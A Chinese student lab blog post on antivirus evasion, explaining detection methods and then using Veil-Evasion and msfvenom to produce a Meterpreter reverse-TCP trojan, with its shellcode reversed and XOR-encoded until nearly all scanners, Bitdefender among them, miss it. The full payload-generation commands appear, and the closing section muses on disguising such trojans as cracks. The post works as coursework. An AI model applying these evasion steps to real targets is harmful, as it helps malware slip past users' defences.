20145221高其_免杀原理与实践

20145221高其_免杀原理与实践

免杀

概述

  • 免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写Virus AV），逐字翻译为“反-反病毒”，翻译为“反杀毒技术”。
  • 被谁杀？当然是被杀毒软件（引擎）杀。所以，要做好免杀技术（防御），就要弄清杀毒方式（攻击），也就是这些杀毒软件是如何工作的。

恶意代码检测方式

  • 基于特征码的检测
    • 特征库，也就是我们平时说的病毒库，它记录了一些恶意软件的特征码，这些特征码由一个不大于64字节的特征串组成，根据自己检测出或网络上已发现报告的病毒，对其多段提取特征码，构成了对恶意软件查杀的重要因素；
    • 杀毒软件都有着自己的庞大病毒库（实际上就是由特征码构成的一个数据库），杀毒时只需与特征码进行比对就可判断出软件是否有毒；
    • 根据以上介绍，我总结了这种方式的查杀特点：
      • 病毒库越大，杀毒有效率越高；
      • 因为收集的是已发现病毒的特征码，所以误报率低；
      • 对部分新型病毒没有抵抗性，无法抵御零日攻击，需要定期更新病毒库。
  • 启发式恶意软件检测

    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件吧！

    • 用较为专业的角度来解释就是，分析对象文件与病毒特征库中的病毒原码进行比较，当二者匹配率大于某一值时(通常这一值较小，所以容易误报)，杀毒软件就会将其列为可疑文件以进行下一步的除理。
    • 总结出以下特点：
      • 查杀效率极高，不需要依赖庞大的病毒库；
      • 对新型病毒有较好的预防性，可以抵御零日攻击；
      • 因为分析是“启发式”的、不精确的、概率性的，所以其误报率也不可忽略；
    • F-Prot是一款杀毒软件，有三个启发引擎，可见其是比较强大的，但其误报我也深感无能为力啊（后文会介绍）……
  • 基于行为的恶意软件检测
    • 其实这种检测与启发式的较为相近，都没有依赖病毒库，但是我感觉它比启发式更靠谱一点，它是在一种程序运行的状态下对其行为进行监控，如果有敏感行为会报毒，是一种动态的监测与捕捉；
    • 总结出以下特点：
      • 不过分依赖病毒库，效率高；
      • 可以检测出获取权限等敏感行为，从这种意义上说，在一定程度上是可以抵御新型病毒的；
      • 因为是对系统的一个动态监测，会占用部分系统资源。

免杀方式

  • 只有弄懂了上述查杀原理，对免杀的方式才有更清晰的理解
  • 改变特征码
    • 加壳，通过加壳，让杀毒软件无法进行反汇编、逆向工程，进而无法分析代码（通常这种方法也被用到对软件版权的保护，而在此处被我们用为免杀的手段，唉，是所谓工具本无好坏，人心才有善恶）
    • 对shellcode进行编码、重组（本文重点介绍此处的实践）
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接（用的最多）
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
  • 其它方法
    • 使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中
    • 使用社会工程学类攻击，诱骗目标关闭AV软件、点击木马软件
    • 纯手工打造一个恶意软件

小试牛刀

  • 基于前述博客，我们已经生成了一个木马程序，并成功让kali主机攻击了win10靶机；

  • 但攻击成功的基础是，我已经将其添加到“电脑管家”的信任区中，不然早就被报毒查杀了

  • 那这个病毒到底抗杀能力怎么样呢？可以通过VirSCAN.org来检验一下

  • 以下是之前木马程序的检测报告：

  • 从上图可以看出，许多杀软一针见血的指出了该程序为“木马类”程序

  • 所以接下来要展现强大的免杀技术，顺利让我们的木马潜入特洛伊！

基于特征码的改变来实现免杀

Veil-Evasion免杀平台

  • Veil-Evasion是一个与Metasploit有点类似的软件，已经在kali虚拟机里，如果没有可以进行在线安装：sudo apt-get install veil-evasion
  • 在终端下输入指令veil-evasion即可打开软件，根据menu的提示依次键入以下指令：
use python/meterpreter/rev_tcp	//设置payload
set LHOST 192.168.18.128	//设置反弹连接IP
set port 443	//设置反弹端口443，默认为4444
generate	//生成
5221	//程序名
1
  • 查杀结果如下：

    • win10，电脑管家20170209反病毒引擎（拷贝即被查）

    • win10，Bitdefender2017最新版（截至2017/3/19）（拷贝即被查）

    • VirSCAN.org检测

C语言调用Shellcode

  • 在kali主机下，进入终端，执行指令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=443 -f c

    • LHOST：攻击机IP
    • LPORT：反弹连接端口
    • c：生成一个c语言格式的Shellcode数组

  • 将上述代码从虚拟机里copy出来，用Microsoft Visual Studio 2013进行编译运行生成可执行文件

  • 在kali下进入MSF打开监听进程，方式参考博文

  • 在靶机上运行nc1.0可执行文件，kali成功获取权限

    • 靶机配置：win10，电脑管家20170209反病毒引擎

  • VirSCAN.org检测结果如下：

    • 其中查看行为分析结果：78分

  • 小结：可以看出，生成shellcode半手工打造，而不是通过msfvenom指令生成一个可执行文件，风险已经降低了不少，但是仍被定性为病毒文件，所以需要进一步考虑修改代码

修改shellcode——逆序

  • 原有shellcode不变，只在Microsoft Visual Studio 2013下对源代码进行修改

  • 首先最直接的想法是加密，对shellcode进行对称加密，将密文shellcode填入木马源代码中，在执行过程中通过密钥和解密算法进行解码，以此变为正常的shellcode

  • 但考虑到C语言实现加解密还要去网上下载相应的库，所以暂不作打算，而是对shellcode进行简单的变换，立马想到了求其逆序，首尾对换，操作简单易实现，先观察查杀结果再做进一步打算

  • 为了快速对shellcode数组求逆序，并写入木马的源代码中，为此我设计了一个求逆序并将其输出的代码（输出到文件，便于复制粘贴）

  • 输出到文本后复制粘贴到木马源代码中，为如下格式：

    • \x：按照输出数转换为16进制的实际位数输出，所以显示出了32位16进制数（补码形式）
    • 不过没关系，有个方便简单的操作，在studio中，按键Ctrl+H，输入待替换字符和替换字符，分贝设置为ffffff和空（啥都不设），然后一键操作，OK

  • 设置shellcode的逆序后，在木马程序源代码中对其进行再逆序即可完成，实际操作起来只需在主函数开始位置引入一个初始化函数init()求逆序，后续和第一部分内容大同小异，不再赘述

    • nc2.0.cpp：（涉及木马不便展示）

  • 最后给一下VirSCAN.org检测结果：

    • 靶机配置：win10，电脑管家20170209反病毒引擎

    • 其中查看行为分析结果：75分

  • 小结：不难发现，通过对shellcode求其逆序，改变了程序的特征码，一下减少了3个杀毒引擎，唯一发现病毒的是F-Prot，这是一款启发式引擎的杀毒软件，但也没有检测出病毒类型。相比之下，修改后的已经安全了不少。

进一步修改shellcode

  • 有了一些进步后，便在思考，是不是因为只是逆序了一下，本质上shellcode的内容是没有发生变化的，所以才导致了继续报毒
  • 基于上述考虑，我做了更复杂的变化，将shellcode数组的奇数位与偶数位区别对待，分别做如下操作：
    • 奇数位：亦或172，172==10101100==0xAC
    • 偶数位：亦或83，83==01010011==0x53
    • 这样可以保证shellcode数组中的每一个元素都发生了一半bit的变化，而且变化不尽相同，在一定程度上改变了原数组的内容
  • 废话不多说了，贴上新版本的代码：
  • 最后给一下VirSCAN.org检测结果：
    • 靶机配置：win10，电脑管家20170209反病毒引擎
    • 其中查看行为分析结果：78分

对shellcode最后一步尝试

  • 对于上面的结果我也很无奈啊，为什么还是报毒，是不是F-Prot的杀毒引擎为启发式，太敏感了？
  • 基于此，我将整个shellcode数组换成了再正常不过的abcd12345，编译执行并上传检测
  • 理想太性感，现实太骨感，还是被它报毒，所以我猜想是不是因为对程序进行逆向和反汇编后，对其中有call指令的调用或者VirtualProtect()操作这类行为敏感，导致报毒

实战检验

  • 通过前几次检测结果，发现国外的杀毒软件往往更有效，能检测出该程序为木马

  • 由于我们使用的病毒检测引擎所运行平台及引擎版本的问题，我们所提供的扫描检测结果并不完全代表各个提供引擎的反病毒厂商的实际能力。并有可能出现我们的平台没有报告，但实际使用中该款软件可以查杀的情况，或我们的平台能够报告，但实际使用中该款软件不能正确查杀的情况。

  • 上述这段话摘自于VirSCAN.org，病毒库是属于各家杀毒公司的版权吧，一般可能不会轻易提供最新版本的病毒库，所以很有必要检测一下该后门在实际中的表现，在此之前我们已经做过了win10下的电脑管家检验，正常。

  • 下载Bitdefender 2017，可以试用30天，但其安装必要条件是IE11及以上，所以还是只能在win10这个平台上实现

  • 靶机配置：win10，Bitdefender2017最新版（截至2017/3/19）

  • 木马程序：nc3.0

  • 在kali机上开启监听进程，然后在win10靶机上打开木马程序（保持病毒防护软件一直处于工作状态）

  • 很幸运，Bitdefender 2017并没有在此过程中报毒，以下是随便测试的几条指令

实验思考

  • 虽然达到了不被发现的目的，但是离实际应用还是差很大距离的，就比如，现在这个层次的应用只能是在同一个WLAN下，如果想要攻击别人，得租一个服务器，这样可以应用范围更广；其次还要设计的让人愿意下载，运用社会工程学方法诱导别人下载使用，比如伪装成序列号生成器、破译软件等广大用户需要的软件，等等；总之，离实际应用还有很长的一段路要走…
  • 免杀的实验做的还是很有趣的，有一种在暗夜里潜行，生怕被人发现的那种刺激感；通过这次实验，做好免杀还是要有一定的编程技巧的，如果完全依赖于Meterpreter、加壳工具等一些软件服务，免杀效果是不明显的，因为你知道这些可以做免杀可以加壳，难道人家杀软不知道没有分析过？所以网络上流行的这些软件，实际上免杀效果并不好，详见博客
  • 免杀最好的效果就是纯手工，纯人为构造，杀软可以分析免杀软件生成的模式进而发现其隐藏的规律，而人为构造的恶意代码往往因为不具有普遍性而难以捉摸；但免杀的尝试不是一蹴而就的，就像这次的实践，是在不断的修改代码过程中，从开始21家报毒，到后来1家报毒，逐渐达到了免杀的级别，这个过程需要不断的尝试；
  • 杀毒与免杀就是矛与盾，是一种博弈关系，是一种此消彼长的竞争关系，只要互联网还存在，杀毒与免杀就是互联网安全永恒的主题；杀毒软件的薄弱在本次实践中可见一斑，所以以后在网络中要“洁身自好”，不该点击的链接别点，来历不明的第三方软件别下，定时更新病毒库、查毒、杀毒；
  • 这一种博弈关系非常微妙，就像本文提到的，本来VirSCAN.org的目的可能是帮助检查是否为病毒文件，但可能被“我们”这样的人恶意利用，用来检测自己的病毒是否免杀；又比如，加壳软件的初衷可能是版权问题，防止他人恶意反汇编、逆向，但这又能被“我们”利用，让“壳”变成病毒的保护壳，正所谓，工具本无好坏，人心才有善恶！

参考资料

posted @ 2017-03-19 00:16  20145221高其  阅读(1029)  评论(0)  编辑  收藏  举报